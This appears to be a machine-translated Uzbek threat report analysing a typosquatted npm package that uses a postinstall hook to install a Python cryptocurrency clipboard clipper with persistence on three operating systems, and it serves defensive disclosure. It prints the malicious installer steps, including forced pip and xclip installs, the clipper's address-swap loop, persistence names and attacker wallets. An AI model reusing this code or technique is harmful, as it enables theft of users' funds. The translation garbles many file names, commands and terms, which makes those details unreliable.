TP; DR
2026-yil 21-may kuni npm nashriyotchisi jaggle to'qqizta versiyani chiqardi (1.0.0 ichidan 1.0.8) @jaggle/resizeobserves taxminan ikki soatlik vaqt oralig'ida.
Paket qonuniy matnning xatosi @juggle/resize-observer polyfill — haftasiga millionlab yuklab olishlar bilan keng qo'llaniladigan paket — lekin ResizeObserverning haqiqiy implementatsiyasini taqdim etmaydi.
Buning o'rniga, paketning postinstall ilgagi Python paketli yuklamasini o'rnatadi, persistence ni platformaga xos ko'rinishdagi ish vaqti brokeri sifatida qayd etadi va kriptovalyuta tranzaksiyalarini nishonga oluvchi platformalararo buferni o'g'irlovchini joylashtiradi.
Linux qat'iyatlilik quyidagicha ko'rinadi python3-dbus-helper, MacOS as com.apple.python.runtimeva Windows as PyRuntimeBroker.
Yuklama doimiy ravishda hamyon manzillarini buferda kuzatib boradi 40 dan ortiq blokcheynlar va jimgina nusxalangan manzillarni tajovuzkor tomonidan boshqariladigan hamyonlar bilan almashtiradi.
Zararli dastur butunlay mahalliy darajada ishlaydi, C2 infratuzilmasi chiqmaydi, bu esa buferning o'rnini bosuvchi vositani eksfiltratsiya mexanizmi qiladi.
Asosiy IOC paket nomining o'zi: @jaggle/resizeobserves — “jaggle” soʻzidagi tushib qolgan unli tovushga va “resizeobserves” soʻzidagi “s” qoʻshilgan tovushga eʼtibor bering.
Jiddiylik: yuqori.
Hujum: u qanday ishlaydi
npm:@jaggle/resizeobserves tasodifiy zararli dasturga o'xshamaydi npm ko'rinishi. Uning README.md so'zma-so'z README hisoblanadi npm:@juggle/resize-observer — bir xil kod namunalari, bir xil foydalanish ko'rsatmalari, bir xil '@juggle/resize-observer' dan {ResizeObserver} ni import qilish havolalar hamma joyda. Plagiat shunchalik to'liqki, hujjatlarga qaragan har bir kishi qonuniy paketning hujjatlarini o'qiyotgan deb o'ylaydi.
The paket.jsonaksincha, siyrak: yo'q omborxona maydon, bitta bin kirish yo'nalishi bin/clipboard-guardian.jsVa postinstall ishlaydigan skript npm-install.js tuguniREADME ning “Asosiy foydalanish” misollari tarballda hech qayerda mavjud boʻlmagan JavaScript implementatsiyasiga ishora qiladi. Paketdagi yagona JavaScript - bu oʻrnatish skripti.
1-bosqich — npm postinstall Python yuklamasini yuklaydi
npm-install.js platformadan xabardor. U a ni topadi pip belgilangan qidiruv yo'li bo'ylab bajariladigan fayl (/usr/bin/pip3, /usr/local/bin/pip, orqaga qaytish python3 -m pip), paketlangan Python paketini tarball katalogidan o'rnatadi va — Linuxda — ishga tushiradi xclip or xsel orqali maqsadga muvofiq, pacmanyoki dnf agar ikkalasi ham allaqachon mavjud bo'lmasa:
javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) { run("apt-get install -y xclip 2>/dev/null") || run("pacman -S --noconfirm xclip 2>/dev/null") || run("dnf install -y xclip 2>/dev/null"); } if ( !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) && !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); foydalanish –break-system-paketlari ataylab qilingan: zamonaviy Linux distributivlari Pythonni PEP 668 ning tashqi boshqariladigan muhit belgisi yoqilgan holda taqdim etadi, bu esa sayt bo'ylab pip o'rnatmalarini sukut bo'yicha bloklaydi. O'rnatish skripti o'rnatishni majburan amalga oshiradi.
Skript shuningdek, sudo-xabardor. Ishlayotgan uid natijasi bo'lganda sudo npm o'rnatish, skript o'qiydi SUDO_USER va o'q otadi getent passwd topish uchun haqiqiy foydalanuvchining uy katalogiga yozadi, keyin esa uning doimiylik fayllarini u yerga emas, balki / rootDoimiylik tizim bo'ylab emas, balki har bir foydalanuvchi uchun.
2-bosqich — Ish vaqti brokeri nomlari ostida operatsion tizimlararo barqarorlik
Python paketi o'rnatilgandan so'ng, skript har bir operatsion tizimda boshqa nom ostida avtomatik ishga tushirish yozuvini ro'yxatdan o'tkazadi:
- Linux — tizimli foydalanuvchi birligi ~/.config/systemd/user/python3-dbus-helper.serviceBirlikning Tavsif is Python D-Bus Runtime HelperSkript uni yoqishga ham harakat qiladi systemctl –foydalanuvchini yoqish, ostida qo'lda yozilgan ramziy havolaga qaytadi default.target.wants/ systemctl ishlamay qolganda. Agar sudo ostida ishlayotgan bo'lsa, skript quyidagilarga o'tadi sudo -u systemctl –foydalanuvchibilan XDG_RUNTIME_DIR foydalanuvchi-shinasi chaqiruvi ishlashi uchun sozlang.
- MacOS — LaunchAgent plistida ~/Library/LaunchAgents/com.apple.python.runtime.plist bilan RunAtLoad=true va KeepAlive=true, keyin orqali yuklandi launchctl yuki.
- Windows — PyRuntimeBroker nomli rejalashtirilgan vazifa, AtLogOn ni ishga tushirdi, bajarilish vaqti nolga teng (ya'ni, kutish vaqti yo'q), PowerShell orqali ro'yxatdan o'tkazildi.
Uchala ism ham bir qarashda ishonchli ko'rinadi. python3-dbus-yordamchisi Linux ish stollarida qonuniy Python-D-Bus integratsiyasining nomlash konvensiyasiga amal qiladi. com.apple.python.runtime Apple’ning o‘z xizmatlari uchun teskari DNS yorlig‘ini taqlid qiladi. PyRuntimeBroker Windows'ning aks-sadosi RuntimeBroker.exe — UWP ilovalari uchun ruxsat so'rovlarini vositachilik qiluvchi haqiqiy, imzolangan Microsoft xizmati. Bu kontekstda ularning hech biri haqiqiy Apple/Microsoft/Python xizmatlari emas, lekin tezkor vizual skanerlashni amalga oshirayotgan himoyachi systemctl –foydalanuvchi ro'yxati birliklari or Rejalashtirilgan vazifani olish titrashi ehtimoldan yiroq emas.
3-bosqich — Buferni o'g'irlash
Python yuklamasi, o'rnatilgan clipboard_guardian/guardian.py, tizim buferini har 400 millisekundda so'rov qilish uchun cheksiz siklni ishga tushiradi. Har bir belgi qo'yilganda, u joriy bufer tarkibini quyidagi orqali oladi pyperclip.paste() va ularni Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain va boshqa bir qancha standart konfiguratsiyada (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin) to'liq bo'sh bo'lgan hamyon manzili formatlarini qamrab oluvchi qirqdan ortiq oldindan kompilyatsiya qilingan oddiy ifodalar ro'yxatiga qarshi ishlaydi.
Moslik yuzaga kelganda, skript hujumchining o'sha zanjir uchun manzilini o'qiydi ~/.config/clipboard-guardian/config.json (yoki uning platforma ekvivalentlari) va buferni almashtirilgan matn bilan almashtiradi:
python result = find_address_in_text(current, config) if result is None: time.sleep(POLL_INTERVAL) continue chain, found_addr = result my_addr = config[chain] if found_addr == my_addr: time.sleep(POLL_INTERVAL) continue new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) Tarmoq signali yo'q. Mashina uyga qo'ng'iroq qilmaydi, zararlangan xostlarni ro'yxatdan o'tkazmaydi, hech narsani eksfiltratsiya qilmaydi. Eksfiltratsiya o'rnini bosadi: foydalanuvchi qabul qiluvchining manzilini o'z hamyonining interfeysidan nusxalab, uni jo'natish oynasiga joylashtirganda, joylashtirilgan manzil operatorga tegishli bo'ladi. Mablag'lar foydalanuvchiga shaffof ravishda tarmoq ichida yo'qoladi.
Bu yerda nima yangiliklar bor
Umumiy kripto-kesgich shabloniga nisbatan bir nechta tafsilotlar ajralib turadi:
1. npm → Python krossoveri. npm da ko'rgan kripto-klipperlarning aksariyati sof JavaScript bo'lib, ko'pincha ular bilan chalkashib ketadi _0x massivni aylantirish yoki eval(atob(…)) stacks. Ushbu namunada npm tarball Python paketi uchun yetkazib berish o'rash vositasi sifatida ishlatiladi — toza Python — va pip qaramlikni o'rnatishni boshqarishga imkon beradi (pyperclip, psutil, ixtiyoriy o'rnatishproctitle) to'plamda e'lon qilingan pyproject.tomlJavaScriptni chalkashtirib yuborishning iloji yo'q. Clipperning o'zi oddiy, o'qilishi oson Python.
2. Ishonchliligi uchun tanlangan Tri-OS qat'iylik yorliqlari. Ko'pgina platformalararo o'rnatuvchilar doimiylikni umumiy nomlar ostida qayd etadilar (yangilovchi.xizmat, yordamchi.plist). Ushbu namuna har bir operatsion tizimda platformaga asoslangan ish vaqti brokerlariga o'xshash yorliqlarni tanlashda qiyinchiliklarga duch keladi. Nomlash - bu yashirinishga yagona urinish - rootkit, foydalanuvchi hududini yashirish, yo'lni chalkashtirish yo'q. Gap shundaki, himoyachilar kamdan-kam hollarda audit qilishadi. ~/.config/systemd/user/ va nomlangan xizmat python3-dbus-yordamchisi tasodifiy sharhda ajralib turmaydi.
3. Jarayon sarlavhasini niqoblash haqiqiy, ammo anti-tahlil harakatsiz holatda. Python yuklamasi a ni belgilaydi _niqoblash_jarayoni() jarayon sarlavhasini belgilaydigan funksiya o'rnatishproctitle (Linux/macOS) yoki SetConsoleSarlavhasiW (Windows) — va asosiy () uni chaqiradi. Shunday qilib ps aux ko'rsatadi python3-dbus-yordamchisi ning o'rniga python3 …/guardian.pyBiroq, xuddi shu modul ... ni belgilaydi is_monitor_running() ma'lum jarayonlarni monitoring qilish vositalarini sanab o'tadigan funksiya (htop, btop, Vazifa menejeri, Faoliyat monitori, Jarayon xakeri, Resurs monitori, GNOME / KDE / Xfce / MATE tizim monitorlari va boshqalar) — va asosiy () hech qachon uni chaqirmaydi. O'zgartirish tsikli foydalanuvchida jarayon monitori ochiq bo'lishidan qat'i nazar, shartsiz ishlaydi. Funktsiya jo'natilgan versiyada o'lik koddir. Bu, ehtimol, avvalgi iteratsiyadan qolgan yoki hali ulanmagan funksiya uchun asosdir. Qanday bo'lmasin, nashr etilgan foydali yuklamaning anti-tahlil yuzasi bitta jarayon sarlavhasini qayta nomlashdir, faol monitordan qochish emas.
4. Birlashtirilgan konfiguratsiya-birlashtirish xatti-harakati. npm-install.js standart hamyon ro'yxatini yozadi ~/.config/clipboard-guardian/config.json va agar konfiguratsiya fayli allaqachon mavjud bo'lsa, mavjud qiymati bo'sh bo'lgan har qanday kalitlarda birlashadi. Bu ilgari zararlangan va konfiguratsiyani qisman tozalagan foydalanuvchi degan ma'noni anglatadi - masalan, bo'shatish orqali ethereum qiymat — uni keyingi har bir zararli paket o'rnatilishi bilan qayta to'ldiradi. Hech qanday kod yo'lida doimiylik faylini tozalash mumkin emas.
| Sana / Vaqt (UTC) | hodisa |
|---|---|
2026-05-21 18:50:32 | @jaggle/resizeobserves@1.0.0 chop etildi. |
2026-05-21 19:55:55 | 1.0.1 nashr etilgan — birinchi versiya tashqi skanerlash orqali belgilangan. |
2026-05-21 19:58:10 | 1.0.2 chop etildi. |
2026-05-21 20:05:03 | 1.0.3 chop etildi. |
2026-05-21 20:09:24 | 1.0.4 chop etildi. |
2026-05-21 20:13:48 | 1.0.5 chop etildi. |
2026-05-21 20:41:52 | 1.0.6 chop etildi. |
2026-05-21 20:43:56 | 1.0.7 nashr etilgan — qo'shimchalar try/catch wrapper around wallpaper-config write qadamini kiriting npm-install.js. |
2026-05-21 20:46:15 | 1.0.8 nashr etilgan — o'rnatuvchi qayta nomlangan npm-install.js → npm-install.cjs (baytlarga o'xshash kontent). |
2026-05-22 | Hukmlar va Xalqaro Olimpiya qo'mitalari e'lon qilindi. Versiyalar nashr vaqtida reestrda hali ham mavjud (davom etmoqda). |
Bir soatu ellik olti daqiqada to'qqizta versiyani yozish hatto xato yozish uchun ham tezdir. Shakl a ga mos keladi nashr qilish va yoqish kampaniyasi — registrni bitta tutqich ostiga to'ldiring, aniqlashni davom ettiring va bitta versiya olib tashlangandan so'ng yangi tutqichga o'ting. Ish jarayonidagi ko'rinadigan deltalar kosmetikdir: 1.0.1 ga aniq qo'shildi /usr/bin/pip3-style pip qidiruv ro'yxatiga yo'llar (sudo-moslik), 1.0.7 wallet-config yozuvini try/catch buyrug'iga o'rab qo'ydi va 1.0.8 o'rnatuvchining nomini o'zgartirdi .js uchun .cjs tarkibini bayt bo'yicha bir xil saqlagan holda. .cjs treklarni npm ogohlantirishlari bilan aniq nomlanmagan paketlardagi noaniq modul o'lchamlari haqida qayta nomlash "turi" maydon va diqqatni jalb qilishi mumkin bo'lgan o'rnatish vaqtidagi shovqinni bostirishga urinish bo'lishi mumkin. Pythonning foydali yuklamasi - aslida o'g'irlaydigan yagona qism - barcha to'qqizta versiyada o'zgarishsiz qolmoqda.
Murosaga kelish ko'rsatkichlari
paketlar
| Ekosistema | To'plam | versiyalari | holat |
|---|---|---|---|
| npm | @jaggle/resizeobserves | 1.0.0 ichidan 1.0.8 | Nashr qilingan paytda jonli efirda; olib tashlash so'ralgan. |
Fayllar va xeshlar
| Yo'l | Eslatmalar |
|---|---|
clipboard_guardian/guardian.py(md5 f7935c2c82bc881288611ab6cd634f17) | Barcha to'qqiz nashr etilgan versiyalarda bir xil (1.0.0 ichidan 1.0.8). Qirqgichning foydali yuki. |
npm-install.js (1.0.0 – 1.0.7)npm-install.cjs (1.0.8) | Persistence o'rnatuvchisi; boshidan oxirigacha bir xil xatti-harakatlar. 1.0.7's .js va 1.0.8's .cjs baytlarga o'xshash. |
~/.config/clipboard-guardian/config.json | Linux qat'iylik konfiguratsiyasi va hamyon to'plami. |
~/Library/Application Support/clipboard-guardian/config.json | macOS qat'iylik konfiguratsiyasi va hamyon to'plami. |
%APPDATA%\clipboard-guardian\config.json | Windows qat'iylik konfiguratsiyasi va hamyon to'plami. |
~/.config/systemd/user/python3-dbus-helper.service | Linux avtomatik ishga tushirish barqarorligi. |
~/Library/LaunchAgents/com.apple.python.runtime.plist | macOS LaunchAgent barqarorligi. |
~/Library/Logs/com.apple.python.runtime.log | Agent uchun macOS stdout/stderr jurnali. |
Scheduled Task PyRuntimeBroker | Windows avtomatik ishga tushirish vazifasi (AtLogOn, tanaffus yo'q). |
Xulq-atvor ko'rsatkichlari
| Signal | Tavsif |
|---|---|
pip install --break-system-packages npm postinstall dan | PEP 668 himoyasini chetlab o'tib, sayt bo'ylab Python o'rnatilishini majburlaydi. |
apt-get install -y xclip (yoki pacman/dnf) | Paketni o'rnatish paytida Linuxda clipboard yordamchi dasturlarini o'rnatadi. |
python3-dbus-helper.service systemd foydalanuvchi birligi | Ishonchli ko'rinadigan ish vaqti yordamchisi nomi ostida ro'yxatdan o'tgan qat'iylik. |
com.apple.python.runtime LaunchAgent | Apple tizimining qonuniy yo'llaridan tashqarida doimiylik yorlig'i. |
PyRuntimeBroker Rejalashtirilgan vazifa | Qonuniy o'rnatuvchi manbasi bo'lmagan holda, soxta Windows ish vaqti brokerining doimiyligi. |
Python jarayoni deb nomlangan python3-dbus-helper import qilish pyperclip va psutil | Ko'rsatilgan jarayon nomi va import qilingan kutubxonalar o'rtasidagi xatti-harakatlar nomuvofiqligi. |
| Hamyon manzili nusxalanganidan keyin bufer taxminan 0.4 soniya o'zgaradi | Kriptovalyuta manzilini almashtirishning imzo harakati. |
Hujumchi hamyon to'plami (himoyachilarni qidirish ro'yxati)
Hamyon ro'yxati qattiq kodlangan holda jo'natiladi npm-install.js va clipboard_guardian/guardian.pyHimoyachilar ro'yxatni blok ro'yxati (korporativ hamyonlardan ushbu manzillarga har qanday o'tkazmani shubhali deb hisoblash) va ov kaliti (autentifikatsiya qilinmagan konfiguratsiya faylida, tuzilish artefaktida yoki ishlab chiquvchi mashinasida ushbu satrlarning birortasining mavjudligini infeksiya ko'rsatkichi sifatida ko'rib chiqish) sifatida ishlatishlari mumkin.
Hujumchi hamyon to'plami
| zanjir | Manzil |
|---|---|
| Ethereum / BSC | 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Ronin (EVM) | ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Bitcoin | bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y |
| Bitcoin Cash | bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt |
| Litecoin | ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe |
| Dogecoin | DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy |
| Dash | XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS |
| Zcash | t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M |
| DigiByte | DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH |
| Monero | 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf |
| Solana | DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5 |
| TRON | TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2 |
| TON | UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr |
| Ripple | r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H |
| Nuqtali bezak solish | 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG |
| NEAR | 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364 |
| Cosmos | cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e |
| osmos | osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t |
| Selestiya | celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5 |
| In'ektsiya | inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh |
| Kava | kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux |
| Uyg'unlik | one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a |
| Terra | terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x |
| Algorand | XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI |
| yulduz | GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE |
| Cardano | addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f |
| MultiverseX | erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0 |
| apt | 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e |
| Sui | 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78 |
| Nano | nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn |
| Filecoin | f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui |
| Tezos | tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk |
| Ergo | 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA |
| Hedera | 0.0.10488092 |
Standart konfiguratsiyada — Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — odatiy qamrovga ega, ammo hamyon uyalari bo'sh bo'lgan zanjirlar ushbu tuzilishda faol ravishda almashtirilmaydi, lekin aniqlanadi. Ularni almashtirish doirasi emas, balki monitoring doirasi sifatida ko'rib chiqing.
Atribut va motivatsiya
Kampaniya yupqa atribut yuzasini taklif qiladi. Biz operator identifikatorini tasdiqlay olmadik. Biz nimani yozib olishimiz mumkin:
- Nashriyotchi metama'lumotlari. npm hisobi jaggle elektron pochtasini quyidagicha ro'yxatlaydi olgascarlet@deltajohnsons.comDomen deltajohnsons.com biz tekshira oladigan korporativ identifikatsiyaga yechim topmaydi. npm hisobi elektron pochta orqali tasdiqlashni ko'rsatmaydi va yo'q SCM tasdiqlash. GitHub bilan bog'liq ommaviy mavjudlik yo'q.
- Ombor maydoni. The paket.json yo'q omborxona maydon. Qonuniy npm:@juggle/resize-observer minglab yulduzlar va faol muammolarga ega haqiqiy GitHub omboriga ishora qiladi. Ombor havolasining yo'qligi npm UIdagi eng tezkor vizual ko'rsatkichdir.
- README plagiati. README paketi qonuniydir @juggle/resize-observer README bayt-bayt, shu jumladan import havola qilingan misollar @juggle/resize-observer o'zi (nashriyot paketi emas). Operator importlarni qayta yozishga ham qiynalmadi — bu readme moslashtirilmagani, balki olib tashlangani haqida umumiy signal edi.
- Yo'nalish uchun hech qanday infratuzilma yo'q. C2 so'nggi nuqtasi, DNS qidiruvi, IP-manzil yo'q. Zararli xatti-harakatlar mahalliy klipperda va qattiq kodlangan hamyon to'plamida to'liq aks ettirilgan. Bu domen yoki ASN asosidagi aylanishni imkonsiz qiladi. Kampaniyalar bo'ylab aylanuvchi himoyachilar hamyonlarni fayldagi oldingi har qanday klipper bilan xesh-moslashtirishlari kerak; hamyonni paketlar bo'ylab qayta ishlatish eng oson o'zaro bog'liqlikdir.
- Nom tanlash. @jaggle/resizeobserves bitta belgi orqada @juggle va taniqlilardan bir burilish o'lchamini o'zgartirish-kuzatuvchisiBirlashtirilgan tahrirlash masofasi ikkita glifdan iborat. Bu ataylab qilingan vizual to'qnashuv, oddiy cho'ktirish emas.
Foydali yuklama xatti-harakatlariga asoslangan motivatsiya: fursatli buferni almashtirish orqali sof monetizatsiya. Hisob ma'lumotlarini yig'ish, xost barmoq izlari yo'q, muhit o'zgaruvchisini o'qish yo'q. Operator jabrlanuvchi kim ekanligiga ahamiyat bermaydi - ular jabrlanuvchining keyingi o'tkazmasi ko'rsatilgan manzillardan biriga yo'naltirilganligiga ahamiyat berishadi. Qirq zanjirli qamrov amaldagi lotereya modelidir: keng miqyosda, har bir N o'rnatishda bitta yuqori qiymatli pasta tushishiga umid qiling.
Operator olib tashlash bilan qiziqmayotganga o'xshaydi. Ikki soat ichida bir xil doirada to'qqizta versiyani nashr etish nashr qilish va yoqish dastagi kabi o'qiladi: olib tashlash kechikishi yetib kelgunga qadar registr izini maksimal darajada oshiring, keyin davom eting. Biz kuzatmadik @jaggle yozish paytida yangi doirada qayta nashr etilmoqda, lekin biz o'xshash doiralarni kutamiz (@jaggie, @juggle-, @joggle) agar operator hali ham faol bo'lsa, kelgusi kunlarda paydo bo'ladi.
Ta'sir, tendentsiyalar va himoyachilar nima qilishlari kerak
ta'sir
Joriy ma'lumotlar to'plamidan real puldagi ta'sirni miqdoriy jihatdan aniqlashning iloji yo'q. Qirqgich telemetriya yozmaydi va tahlil tugashi vaqtida hamyonlar hali almashtirilgan o'tkazmalarni olayotgani kuzatilmadi (ro'yxatdagi zanjirlarning keyingi tekshiruvi bizning ro'yxatimizda). Haqiqiy npm:@juggle/resize-observer oʻrtacha haftalik yuklab olishlar yetti xonali songa yetadi — bu yuqori trafikli xato nishoni — va zararli paket oshkor qilingan paytda 24 soatdan kam vaqt davomida faol boʻlgan, bu esa taʼsirlangan populyatsiyani cheklaydi, lekin uni nolga tenglashtirmaydi.
Kuzatishga arziydigan portlash radiusi to'g'ridan-to'g'ri yuklab olishlar emas @jaggle/resizeobserves — ular kichik bo'lishi mumkin. Bu **o'tish davri o'rnatmalari**: dasturchi paketni sinov muhiti loyihasiga qo'shadi, ishga tushiradi npm o'rnatish, va keyin o'rnatish kancasi hech qachon ishlamay qolganini unutib qo'ydim. Postinstallni qayta ishlagan har bir mashinada endi loyiha hali ham diskda bo'lishidan qat'i nazar, avtomatik ishga tushirishda har bir foydalanuvchi uchun clipboardni o'g'irlash funksiyasi mavjud. Paket katalogini olib tashlash tugun_modullari qat'iyatlilikni yo'q qilmaydi.
Rivojlanayotgan naqshlar
Ushbu kampaniya ikkita tendentsiyani misol qilib keltiradi.
npm Python-foydali yuk yetkazib berish paketi sifatida. npm tarball 4 qatorli o'rnatuvchidir; haqiqiy o'g'irlovchi Python bo'lib, butun tizim bo'ylab o'rnatiladi pip paketlangan katalogdan. Bu yangilik emas — biz npm paketlarining Pythonni tashlab yuborganini ko'rganmiz — lekin bu kripto-klipper kampaniyalarida sezilarli darajada keng tarqalgan shaklga aylanib bormoqda. Operator uchun afzallik ikki tomonlama: Python clipboard kutubxonalari (pyperclip ular orasida birinchisi) JavaScript ekvivalentlariga qaraganda tozaroq va platformalararoroq va Ko'pgina avtomatlashtirilgan npm skanerlari JavaScript fayllarini og'irlashtiradi va Python .py yengil o'raladi. Narxi shundaki, o'rnatish izi ancha balandroq - yangi pip o'rnatish odatda bo'lmagan ishlab chiquvchi mashinasida yashirish qiyin pip o'rnatish davomida npm o'rnatish.
Yagona maxfiylik sifatida platformaga xos nomlar. Yaqinda bir nechta mashinkachilar va kichik yuklamali o'g'irlovchilar kod darajasidagi chalkashlikdan butunlay voz kechib, qonuniy ko'rinadigan qat'iylik yorliqlarini qo'llashdi. python3-dbus-yordamchisi, com.apple.python.runtimeva PyRuntimeBroker darslik misollari — himoyachining ko'zi qirq foydalanuvchi xizmatlari ro'yxatidan o'tkazib yuboradigan nomlar. Bu arzon va bardoshli maxfiylik shakli: olib tashlash har bir paket uchun amalga oshiriladi, ammo doimiylik fayllari olib tashlashdan keyin ham saqlanib qoladi va haqiqiy ko'rinishga ega platforma komponenti nomi bilan atalgan xizmat aniq auditdan boshqa hech narsa bilan tozalanmaydi.
Himoyachilar nima qilishlari kerak
- ~/.config/systemd/user/, ~/Library/LaunchAgents/ va Get-ScheduledTask fayllarini audit qilish Chiqdi IOClarda ko'rsatilgan yozuvlar uchun ishlab chiquvchi mashinalarida. npm paketini olib tashlash ularni joyida qoldiradi; ularni qo'lda olib tashlash kerak.
- Ro'yxatdagi hamyon manzillariga o'tkazmalarni bloklash manzillarga ruxsat berish ro'yxati mavjud bo'lgan korporativ-g'aznachilik va DeFi-hamyon chegaralarida.
- ~/.config/clipboard-guardian/config.json faylini qidiring (va platforma ekvivalentlari) ishlab chiquvchi-mashina parki bo'ylab. Faylning mavjudligi, uni qaysi paket versiyasi yetkazib berganidan qat'i nazar, yuqori ishonchlilikdagi infeksiya hisoblanadi.
- clipboard_guardian/guardian.py uchun node_modules/ ni qidiring olib tashlashdan oldin bo'lishi mumkin bo'lgan build-cache snapshotlarida. Faylning md5 fayli barcha ko'rib chiqilgan versiyalarda barqaror.
- Lockfile-pin @juggle/resize-observer (qonuniy paket) shuning uchun kelajakdagi o'rnatishlar bitta belgili xato ostida boshqa hech narsani hal qila olmaydi, ayniqsa, qulflangan faylsiz ish oqimlarida. npx.
- Pip o'rnatilishini chaqiradigan har qanday npm postinstallni qayta ishlash yuqori og'irlikdagi sifatida qurilishda-pipeline siyosat. O'rnatish vaqtida npm paketining pipga ehtiyoji uchun hech qanday qonuniy sabab yo'q — Python tooling Python toolingni tarqatadi.
- Pyperclip import qiluvchi python3-dbus-helper nomli jarayonlar uchun process_iter() - taqqoslanadigan monitoring ma'lumotlarini qidiring — niqob mos kelmasligi (bufer kutubxonasini ushlab turgan D-Bus yordamchisi) bizdagi eng toza xulq-atvor ko'rsatkichidir.
- Virusli mashinalardan joylashtirilgan hamyon manzillarini aylantiring. Buferni o'g'irlash vositasi hamyon foydalanuvchi interfeysi va joylashtirish nishoni orasidagi yo'lni buzadi; zararlangan paytda nusxalangan manzillar jimgina o'zgartirilishi mumkin. Zararlanish davrida yuborilgan har qanday narsa noto'g'ri yo'naltirilgan deb hisoblanishi kerak.
Xulosa: qat'iyatlilik olib tashlashdan uzoqroq umr ko'radi. Registr oxir-oqibat olib tashlanadi @jaggle/resizeobserves to'qqizta versiyaning barchasida; systemd birligi, LaunchAgent va Rejalashtirilgan vazifa o'z-o'zidan o'chirilmaydi.
Manbalar
- npm da @juggle/resize-observer — ushbu xato xatosi taqlid qiladigan qonuniy paket; bayt-bayt README plagiati uchun asos sifatida foydali.
- @jaggle/resizeobserves registr metama'lumotlari — sud-tibbiy xronologiya uchun foydali bo'lgan to'qqizta zararli versiya uchun vaqt belgilarini nashr etish.




